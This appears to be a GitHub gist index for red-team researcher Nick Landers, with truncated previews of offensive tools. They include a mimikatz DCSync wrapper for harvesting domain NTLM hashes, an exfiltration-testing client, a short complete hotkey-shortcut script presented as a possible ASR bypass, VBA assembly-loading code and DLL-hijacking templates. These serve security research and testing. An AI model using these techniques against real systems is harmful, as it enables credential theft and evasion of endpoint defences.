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Nick Landers monoxgas

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monoxgas / Invoke-DCSync.ps1
Last active December 2, 2024 08:46
What more could you want?
This file has been truncated, but you can view the full file.
function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Improved by: @harmj0y
@monoxgas
monoxgas / Rulz.py
Created October 14, 2015 17:31
#!/usr/bin/env python
# Rulz.py
# Author: Nick Landers (@monoxgas) - Silent Break Security
import os
import sys
import argparse
import re
import binascii
import codecs
@monoxgas
monoxgas / Egress
Last active September 17, 2021 18:59
function Invoke-EgressAssess
{
<#
.Synopsis
Egress-assess powershell client.
.Description
This script will connect to an Egress-assess server and transfer faux Personally Identifiable Information or
@monoxgas
monoxgas / shortcut.ps1
Last active May 29, 2020 14:49
Execute something under svchost.exe using shortcut hotkeys (ASR bypass?)
$Shell = New-Object -Com WScript.Shell
$S = $Shell.CreateShortcut("$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk")
$S.TargetPath = "calc.exe"
$S.Hotkey = "Ctrl+U"
$S.Save()
$Shell.SendKeys("^u")
Start-Sleep 10;rm "$($Env:AppData)\Microsoft\Windows\Start Menu\default.lnk"
@monoxgas
monoxgas / mscorlib_load_assembly.vba
Last active May 18, 2023 13:30
VBA code for calling AppDomain.Load using raw vtable lookups for the IUnknown
' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb
Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr
#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&
@monoxgas
monoxgas / main.cpp
Created February 12, 2020 19:27
Adapative DLL Hijacking - Stability Hooking
#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>
DWORD WINAPI Thread(LPVOID lpParam) {
// Insert evil stuff
ExitProcess(0);
@monoxgas
monoxgas / main.cpp
Created February 12, 2020 22:19
Adaptive DLL Hijacking - Patching LoadLibrary Return
#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>
BOOL PatchTheRet(HMODULE realModule) {
// Get primary module info
@monoxgas
monoxgas / keybase.md
Created August 11, 2020 19:03

Keybase proof

I hereby claim:

  • I am monoxgas on github.
  • I am monoxgas (https://keybase.io/monoxgas) on keybase.
  • I have a public key ASCY7hWSUiJvdx6-976NCpVJx_ePWPOc6E3cuJz5PA8dygo

To claim this, I am signing this object:

@monoxgas
monoxgas / vc_decrypt.py
Last active July 18, 2023 22:57
VoiceCrypt Crypto
import sys
import struct
import binascii
from itertools import cycle, zip_longest
from operator import itemgetter, xor
from collections import Counter
import re
# Some root key constants from the binary
@monoxgas
monoxgas / extract.cpp
Created May 25, 2021 22:06
MacOS Shared DYLD Cache Extraction (Big Sur)
// ref: https://opensource.apple.com/source/dyld/[VERSION]/launch-cache/dsc_extractor.cpp.auto.html
// > SDKROOT=`xcrun --sdk macosx --show-sdk-path`
// > clang++ -o extract extract.cpp
// > mkdir libraries
// > ./extract /System/Library/dyld/dyld_shared_cache_x86_64 `pwd`/libraries/
#include <stdio.h>
#include <stddef.h>
#include <dlfcn.h>